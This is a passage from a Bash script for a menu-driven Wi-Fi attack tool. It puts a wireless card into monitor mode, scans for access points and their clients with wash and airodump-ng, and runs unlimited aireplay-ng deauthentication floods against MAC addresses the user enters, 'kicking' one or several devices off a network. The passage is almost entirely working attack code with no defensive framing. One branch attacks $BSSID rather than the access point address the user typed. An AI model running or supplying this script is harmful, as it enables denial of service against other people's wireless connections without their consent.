else
if [ "$chk_mode" = "managed" ]; then
echo -e "$orange""Your interface needs to be on monitor mode to continue!$nc"
sleep 0.3
echo -en "$orange""Enabel monitor mode? (y/n) $nc"
read answ3
if [ "$answ3" = "y" ] || [ "$answ3" = "Y" ]; then
airmon-ng check kill >/dev/null 2>&1
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode monitor >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode enabled!"
sleep 1
clear
echo "Monitoring your Access-Point '$ESSID'"
echo -en "$blue""CTRL+C TO STOP MONITORING!$nc"
sleep 1
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP MONITORING !' && airodump-ng --bssid $BSSID $interface 2>&1 | tee ap_scan.txt" &&
clear
cat ap_scan.txt
echo -en "$orange""Type Target's MAC-Address : $nc"
read dv_mac
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo -e "$cyan""Kicking$nc""$red"" $dv_mac $nc"
sleep 0.5
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $BSSID --channel $ap_chan $interface " &
sleep 2
xterm -geometry 80x15-0-0 -e " aireplay-ng -0 0 -a $BSSID -c $dv_mac $interface " &
sleep 2
echo -en "$blue""PRESS [ RETURN ] TO STOP KICKING$nc"
read input
pkill airodump-ng
pkill aireplay-ng
echo "Restoring interface to managed mode... "
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
echo -e "$red""Unable to change interface to monitor mode!$nc"
echo -e "$red""Your interface doesn't support monitor mode!$nc"
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
fi
else
echo "Going back to menu..."
sleep 1
fi
fi
fi
fi
;;
2)
if [ "$BSSID" = "" ]; then
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Searching For Access-Points..."
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
sleep 1
xterm -geometry 80x20-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && wash -i $interface -a 2>&1 | tee aps_scan.txt" &&
cat aps_scan.txt
echo -en "$orange""Type Access-Point's MAC-Address : $nc"
read ap_mac
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo "Searching For Clients For Selected Access Point..."
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && airodump-ng --bssid $ap_mac --channel $ap_chan $interface 2>&1 | tee ap_scan.txt" &&
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
cat ap_scan.txt
echo -en "$yellow""How many target(s)? $nc"
read targets
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $ap_mac --channel $ap_chan $interface " &
sleep 2
for ((i = 1; i < targets + 1; i++)); do
echo -en "$orange""Type Target's MAC-Address n° $i : $nc"
read dv_mac
echo -e "$cyan""Kicking$nc""$red"" $dv_mac $nc"
sleep 0.5
xterm -geometry 80x15-0-0 -e " aireplay-ng -0 0 -a $ap_mac -c $dv_mac $interface " &
sleep 2
done
echo -en "$blue""PRESS [ RETURN ] TO STOP KICKING$nc"
read input
pkill airodump-ng
pkill aireplay-ng
echo 'Cleaning files...'
rm ap_scan.txt aps_scan.txt >/dev/null 2>&1
sleep 0.5
echo "Restoring interface to managed mode... "
sleep 1
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
echo -e "$blue""Going back to Menu...$nc"
sleep 5
else
if [ "$chk_mode" = "managed" ]; then
echo -e "$orange""Your interface needs to be on monitor mode to continue!$nc"
sleep 0.3
echo -en "$orange""Enabel monitor mode? (y/n) $nc"
read answ3
if [ "$answ3" = "y" ] || [ "$answ3" = "Y" ]; then
airmon-ng check kill >/dev/null 2>&1
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode monitor >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode enabled!"
sleep 1
clear
echo "Searching For Access-Points..."
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
sleep 1
xterm -geometry 80x20-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && wash -i $interface -a 2>&1 | tee aps_scan.txt" &&
cat aps_scan.txt
echo -en "$orange""Type Access-Point's MAC-Address : $nc"
read ap_mac
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo "Searching For Clients For Selected Access Point..."
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && airodump-ng --bssid $ap_mac --channel $ap_chan $interface 2>&1 | tee ap_scan.txt" &&
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
cat ap_scan.txt
echo -en "$yellow""How many target(s)? $nc"
read targets
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $BSSID --channel $ap_chan $interface " &
sleep 2
for ((i = 1; i < targets + 1; i++)); do
echo -en "$orange""Type Target's MAC-Address n° $i : $nc"
read dv_mac
echo -e "$cyan""Kicking$nc""$red"" $dv_mac $nc"
sleep 0.5
xterm -geometry 80x15-0-0 -e " aireplay-ng -0 0 -a $BSSID -c $dv_mac $interface " &
sleep 2
done
echo -en "$blue""PRESS [ RETURN ] TO STOP KICKING$nc"
read input
pkill airodump-ng
pkill aireplay-ng
echo 'Cleaning files...'
rm ap_scan.txt aps_scan.txt >/dev/null 2>&1
sleep 0.5
echo "Restoring interface to managed mode... "
ifconfig "$interface" down >/dev/null 2>&1
iwconfig "$interface" mode managed >/dev/null 2>&1
ifconfig "$interface" up >/dev/null 2>&1
systemctl restart NetworkManager
sleep 5
echo -e "$blue""Going back to Menu...$nc"
sleep 1
else
echo -e "$red""Unable to change interface to monitor mode!$nc"
break
fi
else
echo "Going back to menu..."
sleep 1
fi
fi
fi
else
chk_mode=$(iw dev "$interface" info | grep type | awk '{print $2}')
if [ "$chk_mode" = "monitor" ]; then
echo "Monitor mode already enabled!"
sleep 1
clear
echo "Monitoring your Access-Point '$ESSID'"
echo -en "$blue""CTRL+C TO STOP MONITORING!$nc"
sleep 1
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP MONITORING !' && airodump-ng --bssid $BSSID $interface 2>&1 | tee ap_scan.txt" &&
clear
cat ap_scan.txt
echo -en "$orange""Type Access-Point's Channel : $nc"
read ap_chan
echo "Searching For Clients For Selected Access Point..."
xterm -geometry 90x50-0+1 -e "echo 'CTRL+C TO STOP SEARCHING !' && airodump-ng --bssid $BSSID --channel $ap_chan $interface 2>&1 | tee ap_scan.txt" &&
echo -en "$blue""CTRL+C TO STOP Searching!$nc"
cat ap_scan.txt
echo -en "$yellow""How many target(s)? $nc"
read targets
xterm -geometry 80x20-0+1 -e "airodump-ng --bssid $BSSID --channel $ap_chan $interface " &
sleep 2
for ((i = 1; i < targets + 1; i++)); do
echo -en "$orange""Type Target's MAC-Address n° $i : $nc"
read dv_mac
echo -e "$cyan""Kicking$nc""$red"" $dv_mac $nc"
sleep 0.5
xterm -geometry 80x15-0-0 -e " aireplay-ng -0 0 -a $BSSID -c $dv_mac $interface " &
sleep 2
done
echo -en "$blue""Press [ RETURN ] TO STOP KICKING$nc"
read input
pkill airodump-ng